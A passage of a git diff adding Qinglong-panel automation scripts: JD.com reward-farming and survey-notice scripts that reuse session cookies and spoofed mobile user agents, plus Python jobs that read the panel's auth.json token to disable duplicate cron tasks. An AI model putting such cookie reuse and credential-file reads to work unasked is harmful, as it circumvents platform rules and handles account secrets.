+$.newShareCodes = []; +let UserShareCodes = ""; +function oc(fn, defaultVal) { //optioanl chaining + try { + return fn() + } catch (e) { + return undefined + } +} +function nc(val1, val2) { //nullish coalescing + return val1 ? val1 : val2 +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") + console.log = () => {}; +} else { + cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const JD_API_HOST = "https://api.m.jd.com/"; + +let NowHour = new Date().getHours(); +let llhelp=true; + +!(async() => { + if (!cookiesArr[0]) { + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/", { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if (llhelp){ + console.log(`开始获取助力码....\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + await GetShareCode(); + } + } + } + console.log(`开始执行任务....\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + message = ""; + console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await main() + await $.wait(3 * 1000) + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() +.catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); +}) +.finally(() => { + $.done(); +}); + +async function main() { + try { + $.score = 0; + $.earn = false; + await getTaskDetail(-1); + UserShareCodes = ""; + await getTaskDetail(6); + if (llhelp){ + await helpFriends(); + } + await getTaskDetail(-1); + + } catch (e) { + $.logErr(e) + } +} + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) + continue; + if (UserShareCodes == code) + continue; + + console.log(`去助力好友${code}`); + let res = await doTask(code, 6); + if ([108, -1001].includes(oc(() => res.data.bizCode))) { + console.log(`助力次数已满,跳出`); + break; + } + await $.wait(1000); + } +} +function GetShareCode(taskId = 6) { + return new Promise(resolve => { + $.get(taskUrl('jdhealth_getTaskDetail', { + "buildingId": "", + taskId: taskId === -1 ? '' : taskId, + "channelId": 1 + }), + async(err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data); + + if (oc(() => data.data.result.taskVos)) { + console.log(`【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)}\n`); + var strSharedcode = `${oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)}`; + $.newShareCodes.push(strSharedcode); + } + + } + } catch (e) { + console.log(e) + } + finally { + resolve() + } + }) + }) +} + +function getTaskDetail(taskId = '') { + return new Promise(resolve => { + $.get(taskUrl('jdhealth_getTaskDetail', { + "buildingId": "", + taskId: taskId === -1 ? '' : taskId, + "channelId": 1 + }), + async(err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if (taskId === -1) { + let tmp = parseInt(parseFloat(nc(oc(() => data.data.result.userScore), '0'))) + if (!$.earn) { + $.score = tmp + $.earn = 1 + } else { + $.earn = tmp - $.score + $.score = tmp + } + } else if (taskId === 6) { + if (oc(() => data.data.result.taskVos)) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)}\n`); + UserShareCodes = `${oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)}`; + } + } + } + } catch (e) { + console.log(e) + } + finally { + resolve() + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&uuid=`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'accept-language': 'zh-cn', + 'accept-encoding': 'gzip, deflate, br', + 'accept': 'application/json, text/plain, */*', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} +function doTask(taskToken, taskId, actionType = 0) { + return new Promise(resolve => { + const options = taskUrl('jdhealth_collectScore', {taskToken, taskId, actionType}) + $.get(options, + (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if ([0, 1].includes(nc(oc(() => data.data.bizCode) , -1))) { + $.canDo = true + if (oc(() => data.data.result.score)) + console.log(`任务完成成功,获得:${nc(oc(() => data.data.result.score) , '未知')}能量`) + else + console.log(`任务领取结果:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) + } else { + console.log(`任务完成失败:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) + } + } + } catch (e) { + console.log(e) + } finally { + resolve(data) + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_identical.py b/jd_identical.py new file mode 100644 index 0000000..9dd77f3 --- /dev/null +++ b/jd_identical.py @@ -0,0 +1,200 @@ +# -*- coding:utf-8 -*- +""" +cron: 50 * * * * +new Env('禁用重复任务'); +""" + +import json +import logging +import os +import sys +import time +import traceback + +import requests + +logger = logging.getLogger(name=None) # 创建一个日志对象 +logging.Formatter("%(message)s") # 日志内容格式化 +logger.setLevel(logging.INFO) # 设置日志等级 +logger.addHandler(logging.StreamHandler()) # 添加控制台日志 +# logger.addHandler(logging.FileHandler(filename="text.log", mode="w")) # 添加文件日志 + + +ipport = os.getenv("IPPORT") +if not ipport: + logger.info( + "如果报错请在环境变量中添加你的真实 IP:端口\n名称:IPPORT\t值:127.0.0.1:5700\n或在 config.sh 中添加 export IPPORT='127.0.0.1:5700'" + ) + ipport = "localhost:5700" +else: + ipport = ipport.lstrip("http://").rstrip("/") +sub_str = os.getenv("RES_SUB", "okyyds_yydspure_master") +sub_list = sub_str.split("&") +res_only = os.getenv("RES_ONLY", True) +headers = { + "Accept": "application/json", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36", +} + + +def load_send() -> None: + logger.info("加载推送功能中...") + global send + send = None + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/notify.py"): + try: + from notify import send + except Exception: + send = None + logger.info(f"❌加载通知服务失败!!!\n{traceback.format_exc()}") + + +def get_tasklist() -> list: + tasklist = [] + t = round(time.time() * 1000) + url = f"http://{ipport}/api/crons?searchValue=&t={t}" + response = requests.get(url=url, headers=headers) + datas = json.loads(response.content.decode("utf-8")) + if datas.get("code") == 200: + tasklist = datas.get("data") + return tasklist + + +def filter_res_sub(tasklist: list) -> tuple: + filter_list = [] + res_list = [] + for task in tasklist: + for sub in sub_list: + if task.get("command").find(sub) == -1: + flag = False + else: + flag = True + break + if flag: + res_list.append(task) + else: + filter_list.append(task) + return filter_list, res_list + + +def get_index(lst: list, item: str) -> list: + return [index for (index, value) in enumerate(lst) if value == item] + + +def get_duplicate_list(tasklist: list) -> tuple: + logger.info("\n=== 第一轮初筛开始 ===") + + ids = [] + names = [] + cmds = [] + for task in tasklist: + ids.append(task.get("_id")) + names.append(task.get("name")) + cmds.append(task.get("command")) + + name_list = [] + for i, name in enumerate(names): + if name not in name_list: + name_list.append(name) + + tem_tasks = [] + tem_ids = [] + dup_ids = [] + for name2 in name_list: + name_index = get_index(names, name2) + for i in range(len(name_index)): + if i == 0: + logger.info(f"【✅保留】{cmds[name_index[0]]}") + tem_tasks.append(tasklist[name_index[0]]) + tem_ids.append(ids[name_index[0]]) + else: + logger.info(f"【🚫禁用】{cmds[name_index[i]]}") + dup_ids.append(ids[name_index[i]]) + logger.info("") + + logger.info("=== 第一轮初筛结束 ===") + + return tem_ids, tem_tasks, dup_ids + + +def reserve_task_only( + tem_ids: list, tem_tasks: list, dup_ids: list, res_list: list +) -> list: + if len(tem_ids) == 0: + return tem_ids + + logger.info("\n=== 最终筛选开始 ===") + task3 = None + for task1 in tem_tasks: + for task2 in res_list: + if task1.get("name") == task2.get("name"): + dup_ids.append(task1.get("_id")) + logger.info(f"【✅保留】{task2.get('command')}") + task3 = task1 + if task3: + logger.info(f"【🚫禁用】{task3.get('command')}\n") + task3 = None + logger.info("=== 最终筛选结束 ===") + return dup_ids + + +def disable_duplicate_tasks(ids: list) -> None: + t = round(time.time() * 1000) + url = f"http://{ipport}/api/crons/disable?t={t}" + data = json.dumps(ids) + headers["Content-Type"] = "application/json;charset=UTF-8" + response = requests.put(url=url, headers=headers, data=data) + datas = json.loads(response.content.decode("utf-8")) + if datas.get("code") != 200: + logger.info(f"❌出错!!!错误信息为:{datas}") + else: + logger.info("🎉成功禁用重复任务~") + + +def get_token() -> str or None: + try: + with open("/ql/config/auth.json", "r", encoding="utf-8") as f: + data = json.load(f) + except Exception: + logger.info(f"❌无法获取 token!!!\n{traceback.format_exc()}") + send("💔禁用重复任务失败", "无法获取 token!!!") + exit(1) + return data.get("token") + + +if __name__ == "__main__": + logger.info("===> 禁用重复任务开始 <===") + load_send() + token = get_token() + headers["Authorization"] = f"Bearer {token}" + + # 获取过滤后的任务列表 + sub_str = "\n".join(sub_list) + logger.info(f"\n=== 你选择过滤的任务前缀为 ===\n{sub_str}") + tasklist = get_tasklist() + if len(tasklist) == 0: + logger.info("❌无法获取 tasklist!!!") + exit(1) + filter_list, res_list = filter_res_sub(tasklist) + + tem_ids, tem_tasks, dup_ids = get_duplicate_list(filter_list) + # 是否在重复任务中只保留设置的前缀 + if res_only: + ids = reserve_task_only(tem_ids, tem_tasks, dup_ids, res_list) + else: + ids = dup_ids + logger.info("你选择保留除了设置的前缀以外的其他任务") + + sum = f"所有任务数量为:{len(tasklist)}" + filter = f"过滤的任务数量为:{len(res_list)}" + disable = f"禁用的任务数量为:{len(ids)}" + logging.info("\n=== 禁用数量统计 ===\n" + sum + "\n" + filter + "\n" + disable) + + if len(ids) == 0: + logger.info("😁没有重复任务~") + else: + disable_duplicate_tasks(ids) + if send: + send("💖禁用重复任务成功", f"\n{sum}\n{filter}\n{disable}") diff --git a/jd_identicalnew.py b/jd_identicalnew.py new file mode 100644 index 0000000..b597459 --- /dev/null +++ b/jd_identicalnew.py @@ -0,0 +1,203 @@ +# -*- coding:utf-8 -*- +""" +cron: 50 * * * * +new Env('禁用重复任务青龙2.11版本'); +""" + +import json +import logging +import os +import sys +import time +import traceback + +import requests + +logger = logging.getLogger(name=None) # 创建一个日志对象 +logging.Formatter("%(message)s") # 日志内容格式化 +logger.setLevel(logging.INFO) # 设置日志等级 +logger.addHandler(logging.StreamHandler()) # 添加控制台日志 +# logger.addHandler(logging.FileHandler(filename="text.log", mode="w")) # 添加文件日志 + + +ipport = os.getenv("IPPORT") +if not ipport: + logger.info( + "如果报错请在环境变量中添加你的真实 IP:端口\n名称:IPPORT\t值:127.0.0.1:5700\n或在 config.sh 中添加 export IPPORT='127.0.0.1:5700'" + ) + ipport = "localhost:5700" +else: + ipport = ipport.lstrip("http://").rstrip("/") +sub_str = os.getenv("RES_SUB", "okyyds_yydspure_master") +sub_list = sub_str.split("&") +res_only = os.getenv("RES_ONLY", True) +headers = { + "Accept": "application/json", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36", +} + + +def load_send() -> None: + logger.info("加载推送功能中...") + global send + send = None + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/notify.py"): + try: + from notify import send + except Exception: + send = None + logger.info(f"❌加载通知服务失败!!!\n{traceback.format_exc()}") + + +def get_tasklist() -> list: + tasklist = [] + t = round(time.time() * 1000) + url = f"http://{ipport}/api/crons?searchValue=&t={t}" + response = requests.get(url=url, headers=headers) + datas = json.loads(response.content.decode("utf-8")) + if datas.get("code") == 200: + tasklist = datas.get("data") + return tasklist + + +def filter_res_sub(tasklist: list) -> tuple: + filter_list = [] + res_list = [] + for task in tasklist: + for sub in sub_list: + if task.get("command").find(sub) == -1: + flag = False + else: + flag = True + break + if flag: + res_list.append(task) + else: + filter_list.append(task) + return filter_list, res_list + + +def get_index(lst: list, item: str) -> list: + return [index for (index, value) in enumerate(lst) if value == item] + + +def get_duplicate_list(tasklist: list) -> tuple: + logger.info("\n=== 第一轮初筛开始 ===") + + ids = [] + names = [] + cmds = [] + for task in tasklist: + ids.append(task.get("id")) + names.append(task.get("name")) + cmds.append(task.get("command")) + + name_list = [] + for i, name in enumerate(names): + if name not in name_list: + name_list.append(name) + + tem_tasks = [] + temids = [] + dupids = [] + for name2 in name_list: + name_index = get_index(names, name2) + for i in range(len(name_index)): + if i == 0: + logger.info(f"【✅保留】{cmds[name_index[0]]}") + tem_tasks.append(tasklist[name_index[0]]) + temids.append(ids[name_index[0]]) + else: + logger.info(f"【🚫禁用】{cmds[name_index[i]]}") + dupids.append(ids[name_index[i]]) + logger.info("") + + logger.info("=== 第一轮初筛结束 ===") + + return temids, tem_tasks, dupids + + +def reserve_task_only( + temids: list, tem_tasks: list, dupids: list, res_list: list +) -> list: + if len(temids) == 0: + return temids + + logger.info("\n=== 最终筛选开始 ===") + task3 = None + for task1 in tem_tasks: + for task2 in res_list: + if task1.get("name") == task2.get("name"): + dupids.append(task1.get("id")) + logger.info(f"【✅保留】{task2.get('command')}") + task3 = task1 + if task3: + logger.info(f"【🚫禁用】{task3.get('command')}\n") + task3 = None + logger.info("=== 最终筛选结束 ===") + return dupids + + +def disable_duplicate_tasks(ids: list) -> None: + t = round(time.time() * 1000) + url = f"http://{ipport}/api/crons/disable?t={t}" + data = json.dumps(ids) + headers["Content-Type"] = "application/json;charset=UTF-8" + response = requests.put(url=url, headers=headers, data=data) + datas = json.loads(response.content.decode("utf-8")) + if datas.get("code") != 200: + logger.info(f"❌出错!!!错误信息为:{datas}") + else: + logger.info("🎉成功禁用重复任务~") + + +def get_token() -> str or None: + try: + path = '/ql/config/auth.json' # 设置青龙 auth文件地址 + if not os.path.isfile(path): + path = '/ql/data/config/auth.json' # 尝试设置青龙 auth 新版文件地址 + with open(path, "r", encoding="utf-8") as f: + data = json.load(f) + except Exception: + logger.info(f"❌无法获取 token!!!\n{traceback.format_exc()}") + send("💔禁用重复任务失败", "无法获取 token!!!") + exit(1) + return data.get("token") + + +if __name__ == "__main__": + logger.info("===> 禁用重复任务开始 <===") + load_send() + token = get_token() + headers["Authorization"] = f"Bearer {token}" + + # 获取过滤后的任务列表 + sub_str = "\n".join(sub_list) + logger.info(f"\n=== 你选择过滤的任务前缀为 ===\n{sub_str}") + tasklist = get_tasklist() + if len(tasklist) == 0: + logger.info("❌无法获取 tasklist!!!") + exit(1) + filter_list, res_list = filter_res_sub(tasklist) + + temids, tem_tasks, dupids = get_duplicate_list(filter_list) + # 是否在重复任务中只保留设置的前缀 + if res_only: + ids = reserve_task_only(temids, tem_tasks, dupids, res_list) + else: + ids = dupids + logger.info("你选择保留除了设置的前缀以外的其他任务") + + sum = f"所有任务数量为:{len(tasklist)}" + filter = f"过滤的任务数量为:{len(res_list)}" + disable = f"禁用的任务数量为:{len(ids)}" + logging.info("\n=== 禁用数量统计 ===\n" + sum + "\n" + filter + "\n" + disable) + + if len(ids) == 0: + logger.info("😁没有重复任务~") + else: + disable_duplicate_tasks(ids) + if send: + send("💖禁用重复任务成功", f"\n{sum}\n{filter}\n{disable}") diff --git a/jd_insight.js b/jd_insight.js new file mode 100644 index 0000000..9f9fbb6 --- /dev/null +++ b/jd_insight.js @@ -0,0 +1,541 @@ +/* +cron "35 11 * * *" jd_insight.js, tag:京洞察问卷通知 + +by ccwav + */ + +const $ = new Env('京洞察问卷通知'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +let allnotify=""; +let WP_APP_TOKEN_ONE = ""; + +if ($.isNode()) { + if (process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; + } + + Object.keys(jdCookieNode) + .forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]") + .map(item => item.cookie) + ].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + for (let i = 0; i < cookiesArr.length; i++) { + UA = `jdapp;iPhone;10.0.8;14.6;${UUID};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.maxPage = '1'; + message = ''; + await TotalBean(); + console.log(`******开始查询【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main() + } + } + + if ($.isNode() && allnotify) { + await notify.sendNotify(`${$.name}`, allnotify); + } + +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}) +.finally(() => { + $.done(); +}) + +async function main() { + console.log(`开始获取京洞察调研列表...\n`) + let data= await GetSurveyList(); + if(data.result){ + let list=data.messages.list + if(list.length>0){ + let AccTitle=`账号${$.index} ${$.nickName || $.UserName} `; + let msg = AccTitle+`共${list.length}个类型调查问卷\n`; + for (let index = 0; index < list.length; index++) { + const item = list[index].surveyList; + //msg += `类型:${list[index].type}\n`; + for (let index = 0; index < item.length; index++) { + let surveyItem = item[index]; + let title = surveyItem.title + let subTitle = surveyItem.subTitle + let answerUrl = surveyItem.answerUrl + msg += `${index+1}.【${title}】 ${subTitle}\n点击这里开启问卷\n` + } + } + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher("京洞察问卷通知", msg, `${$.UserName}`); + } + allnotify+=msg + } + }else{ + $.log('当前账户没有京调研问卷') + } +} + +function random(min, max) { + return parseInt((max - min) * Math.random()); +} +// prettier-ignore +function getUUID(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", t = 0) { + return x.replace(/[xy]/g, function(x) { + var r = 16 * Math.random() | 0, + n = "x" == x ? r : 3 & r | 8; + return uuid = t ? n.toString(36) + .toUpperCase() : n.toString(36), uuid + }) +} + +function GetSurveyList() { + const options = { + "url": 'https://answer.jd.com/community/survey/list', + "headers": { + "Cookie": cookie, + "User-Agent":"Mozilla/5.0 (iPhone; CPU iPhone OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Mobile/15E148 Safari/604.1" + } + }; + return new Promise(resolve => { + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(err); + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + //console.log(data); + if (data) { + data = JSON.parse(data); + } else { + console.log("没有返回数据") + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function TotalBean() { + return new Promise(async e => { + const n = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + 